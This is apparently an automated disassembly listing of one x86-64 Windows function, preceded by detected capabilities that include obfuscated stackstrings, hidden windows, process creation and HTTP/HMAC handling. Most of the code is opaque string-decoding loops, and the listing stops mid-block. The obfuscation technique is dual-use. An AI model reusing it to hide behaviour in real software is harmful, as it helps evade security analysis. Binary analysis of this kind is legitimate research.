Function at 0x1400b4770
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Create process on windows
Hide graphical window
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x1401da800]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov byte [rbp + 0x380], Ordinal_60
mov byte [rbp + 0x381], Ordinal_45
mov byte [rbp + 0x382], Ordinal_50
mov byte [rbp + 0x383], Ordinal_41
mov byte [rbp + 0x384], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x385], 0x3f
mov byte [rbp + 0x386], Ordinal_45
mov byte [rbp + 0x387], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x388], gethostname
mov byte [rbp + 0x389], Ordinal_200
mov byte [rbp + 0x38a], Ordinal_217
mov byte [rbp + 0x38b], Ordinal_217
mov byte [rbp + 0x38c], Ordinal_217
mov byte [rbp + 0x38d], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x38e], Ordinal_45
mov byte [rbp + 0x38f], 0xdb
mov byte [rbp + 0x390], 0x46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x391], xmm0
movups xmmword [rbp + 0x3a1], xmm0
mov word [rbp + 0x3b1], ax
movabs rdi, 0x395d5ec1c4f3151
movabs rsi, 0xe6f8267029185ecf
movabs r15, 0x8644166093a23f4d
movabs r14, 0xda6ff9af01d3e035
movabs r12, 0xcde7ccedda8f619b
movabs r13, 0x4ec6e27307ea28ed
movzx edx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor r11d, r11d
cmp r11, 0x33
jae 0x1400b53b2
movzx r10d, byte [rbp + r11 + 0x380]
movzx ebx, r10b
nop word [rax + rax]
cmp r8, r11
ja 0x1400b53a9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b48db
lea rcx, [r11 + r15]
mov rax, r10
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r10
add rdx, rcx
sub dl, 0x1b
jmp 0x1400b4914
je 0x1400b5335
inc rax
cmp r8, rax
je 0x1400b52cd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b527a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b5218
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b51ca
movzx ebx, r10b
nop dword [rax + rax]
cmp r9, r11
ja 0x1400b53a0
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b494a
lea rdx, [r11 + rdi]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub dl, 0x37
add dl, cl
jmp 0x1400b4980
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400b51ab
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b5183
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b5161
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b5148
nop
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400b4ea6
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b4e8b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b4e65
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b4e44
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b4e2b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4e10
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b4df3
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b4dd5
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b4dbf
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b4d92
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b4990
lea r8, [r9 + 6]
lea r9, [r8 + 0x64]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b5384
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b5369
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b4b77
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b4b5c
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b4b41
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b4d46
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b4d00
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b4cc3
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400b4c9d
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b4990
lea r8, [r9 + 0x400]
lea r9, [r8 + 3]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b4c70
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b4c5a
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b4c44
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b4c27
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400b4c0a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b4bf4
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400b4bd3
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b4bad
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b4b92
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b4990
lea r8, [r9 + 8]
lea r9, [r8 + 0x80]
jmp 0x1400b4990
lea rdx, [r11 + rsi]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
add dl, 0x57
add dl, cl
jmp 0x1400b4980
lea rdx, [r11 + r14]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub dl, 0x73
add dl, cl
jmp 0x1400b4920
lea rdx, [r11 + r12]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub dl, 0x3d
add dl, cl
jmp 0x1400b48b0
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b51ea
lea edx, [r11 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400b4893
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4c
dec r11
inc r11
jmp 0x1400b4893
lea edx, [r11 - 0x46]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x16
jmp 0x1400b5235
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b525f
lea edx, [r11 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b5262
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x74
jmp 0x1400b5297
lea edx, [r11 + 0x52]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x3e
jmp 0x1400b52ea
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 8
movzx eax, byte [rbp + r11 + 0x380]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b4893
lea ecx, [r11 + 0x37]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x7f
mov byte [rbp + r11 + 0x380], dl
inc r11
jmp 0x1400b4893
lea edx, [r11 - 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4b
add dl, cl
cmp r9, 3
jb 0x1400b4cb3
lea edx, [r11 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400b51ec
lea edx, [r11 + 3]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x15
add dl, cl
cmp r8, 0x64
jae 0x1400b5112
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400b5034
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b4cd8
lea edx, [r11 + 0x69]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x21
add dl, cl
lea rax, [r8 + r9]
cmp rax, 2
je 0x1400b512f
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400b4f9d
lea edx, [r11 + 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6f
jmp 0x1400b4d15
lea ecx, [r11 - 0x1a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4a
movzx eax, byte [rbp + r11 + 0x380]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b4893
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x14
jmp 0x1400b52ea
movzx ebx, r11b
lea edx, [rbx - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b529f
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b5262
lea ecx, [r11 + 0x7e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x72
jmp 0x1400b525f
movzx ebx, r11b
lea edx, [rbx - 0x1c]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x3c
jmp 0x1400b5239
lea ecx, [r11 + 0x4a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 6
dec r11
inc r11
jmp 0x1400b4893
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400b4893
lea edx, [r11 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b51ea
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400b4ecb
lea rcx, [r11 + r15]
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x1b
jmp 0x1400b4d5d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b4f01
lea ecx, [r11 - 0x5e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x6e
movzx eax, byte [rbp + r11 + 0x380]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b4893
inc rax
cmp r8, rax
jne 0x1400b4f27
movzx ebx, r11b
lea edx, [rbx - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b529f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b4f4b
lea ecx, [r11 + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x46
jmp 0x1400b525f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b4f6d
movzx ebx, r11b
lea edx, [rbx - 0x5c]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x7c
jmp 0x1400b5239
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b4d5d
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400b4893
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b4fc0
lea edx, [r11 - 0xd]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x5b
jmp 0x1400b51ea
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4fea
lea ecx, [r11 + 0x27]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x11
dec r11
inc r11
jmp 0x1400b4893
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b500c
movzx ebx, r11b
lea edx, [rbx - 0x3f]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x47
jmp 0x1400b5239
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b4d17
lea ecx, [r11 - 0xb]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x4d
jmp 0x1400b5262
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b506c
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x380]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b4893
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b5093
movzx ebx, r11b
lea edx, [rbx + 0x46]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b523d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b50bd
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
dec r11
inc r11
jmp 0x1400b4893
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b50ea
lea ecx, [r11 + 0x7a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x56
inc r9
dec r11
inc r11
jmp 0x1400b4893
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4cda
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b51ea
movzx ebx, r11b
lea edx, [rbx + 0x48]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 4
add cl, cl
jmp 0x1400b523d
movzx ebx, r11b
lea ecx, [rbx - 0x1e]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x2e]
jmp 0x1400b52a1
lea rcx, [r11 + r13]
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x7b
jmp 0x1400b5262
movabs rcx, 0x423eb5b1e0a5aa53
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x45
jmp 0x1400b525f
movabs rcx, 0x292e5c2f921cad1f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
add dl, 0x27
dec r11
inc r11
jmp 0x1400b4893
movabs rdx, 0x101e02ad4393afeb
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub dl, 0x6d
jmp 0x1400b51ea
movabs rdx, 0xf70da92af50ab2b7
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
dec dl
movzx r10d, bl
add dl, cl
lea ecx, [r11 - 5]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x23
add r10b, cl
mov byte [rbp + r11 + 0x380], r10b
inc r9
dec r11
inc r11
jmp 0x1400b4893
movabs rdx, 0xd17522e77f3d36e9
add rdx, r11
movzx eax, dl
and al, r10b
movzx ecx, bl
sub dl, 0x5f
movzx r10d, bl
movzx ebx, r11b
add al, al
sub cl, al
add dl, cl
sub bl, 0x6b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x13
add r10b, bl
add r10b, dl
mov byte [rbp + r11 + 0x380], r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400b4893
movabs rdx, 0xabdc9ca4096fbb1b
add rdx, r11
movzx eax, dl
and al, r10b
movzx ecx, bl
add dl, 0x43
movzx r10d, bl
add al, al
sub cl, al
movzx ebx, r11b
add dl, cl
add bl, 0x2f
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x49
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x380], al
inc r9
add rax, r9
sub r11, rax
jmp 0x1400b52f0
movabs rdx, 0x9f546fe2e22b3c81
add rdx, r11
movzx eax, dl
and al, r10b
movzx ecx, bl
add dl, 0x79
movzx r10d, bl
add al, al
sub cl, al
add dl, cl
lea ecx, [r11 + 0x7c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, cl
mov byte [rbp + r11 + 0x380], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x380]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b4893
movabs rcx, 0x92cc4321bae6bde7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x51
movzx eax, byte [rbp + r11 + 0x380]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b4893
inc r11b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 7
jmp 0x1400b4890
add r11b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x2f
jmp 0x1400b4880
lea rdx, [rbp + 0x1428b3c]
jmp 0x1400b53b9
lea rdx, [rbp + 0xe4ca89]
jmp 0x1400b53b9
lea rdx, [rbp + 0x380]
mov rcx, qword [0x14022e168]
call fcn.1400fb1e0
mov rcx, qword [0x14022e118]
call fcn.1400db350
mov rbx, qword [0x14022e118]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x430]
call fcn.1400d1680
lea rdx, [rbx + 0xa0]
mov rcx, rax
call fcn.1400d1540
lea rcx, [rbp + 0x430]
call fcn.1400037a0
mov byte [rbp + 0x3b8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x3b9], 0x67
mov byte [rbp + 0x3ba], 0x9f
mov byte [rbp + 0x3bb], WSAGetLastError
mov byte [rbp + 0x3bc], WSASetLastError
mov byte [rbp + 0x3bd], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x3be], 0x7b
mov byte [rbp + 0x3bf], 0xbf
mov byte [rbp + 0x3c0], __WSAFDIsSet
mov byte [rbp + 0x3c1], 0x41
mov byte [rbp + 0x3c2], 0x44
mov byte [rbp + 0x3c3], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3c4], 0x48
mov byte [rbp + 0x3c5], 0x53
mov byte [rbp + 0x3c6], 0x67
mov byte [rbp + 0x3c7], 0x53
mov byte [rbp + 0x3c8], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3c9], xmm0
movups xmmword [rbp + 0x3d9], xmm0
mov word [rbp + 0x3e9], ax
movabs r14, 0x57acc2a1f7b83063
movabs r15, 0x70647e5e7289129
movzx edx, byte [rsp + 0x30]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b5f7d
movzx r11d, byte [rbp + rbx + 0x3b8]
mov esi, r11d
movzx r10d, bl
nop dword [rax]
movzx edi, r10b
cmp r8, rbx
ja 0x1400b5f74
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b550f
lea rcx, [rbx + r14]
mov rax, rsi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rsi
add rdx, rcx
add dl, 0x4b
jmp 0x1400b552f
je 0x1400b5f09
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b5eb8
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b5e93
movzx r10d, bl
cmp r9, rbx
ja 0x1400b5f6b
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400b555f
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x27
jmp 0x1400b55b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b5e4f
inc rax
cmp r8, rax
je 0x1400b5e2a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5e0e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b5df2
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b5d6e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b5d41
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400b5b11
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5af1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b5acc
lea rcx, [r9 + 0x400]
cmp r8, rcx
je 0x1400b5aa6
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b5a8a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b5a6e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b5a4e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b5a34
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b5a14
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b59e7
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b55c0
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400b5f4f
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400b5f33
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400b57a9
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400b578f
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400b5775
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400b599e
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400b5958
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400b5919
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400b58f3
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400b55c0
lea r8, [r9 + 9]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b58c6
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b58a6
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x1400b588a
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b586a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400b584e
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400b582e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b5808
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b57e3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b57c3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b55c0
mov r8, rcx
lea r9, [rcx + 0x64]
jmp 0x1400b55c0
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x47
jmp 0x1400b55b0
lea ecx, [r10 - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
jmp 0x1400b5533
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x73
jmp 0x1400b54e0
sub r10b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b5e66
add r10b, 0x32
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5e
inc r9
dec rbx
inc rbx
jmp 0x1400b54c2
add r10b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400b54c2
sub r10b, 0x5a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b5ecc
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
jmp 0x1400b5eee
add r10b, 0x1a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b5ef1
lea edx, [r10 + 0x54]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x4c
add dl, cl
jmp 0x1400b5d83
sub r10b, 0x72
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b5daf
sub r10b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x78
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
sub r10b, 0x27
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x11
mov byte [rbp + rbx + 0x3b8], dl
inc rbx
jmp 0x1400b54c2
lea edx, [r10 + 0x13]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x7b
add dl, cl
cmp r9, 0xa
jb 0x1400b590a
add r10b, 0x72
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x3c]
jmp 0x1400b5e66
lea edx, [r10 + 0x4d]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x1b
add dl, cl
cmp r8, 4
jae 0x1400b5d0b
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400b5c54
lea edx, [r10 - 0x4a]
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400b592e
lea edx, [r10 - 0x79]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x4f
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400b5d2a
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400b5be6
lea edx, [r10 - 0x69]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x21
jmp 0x1400b596d
sub r10b, 0x46
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x16
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5daf
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x42
jmp 0x1400b5d83
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5ef1
sub r10b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
jmp 0x1400b5eee
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400b5ecc
add r10b, 0x16
movzx eax, r10b
and al, r11b
mov ecx, 0x33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b54c2
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400b54c2
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e66
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400b5b34
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x4b
jmp 0x1400b59b5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b5b6e
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b5b94
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
add cl, cl
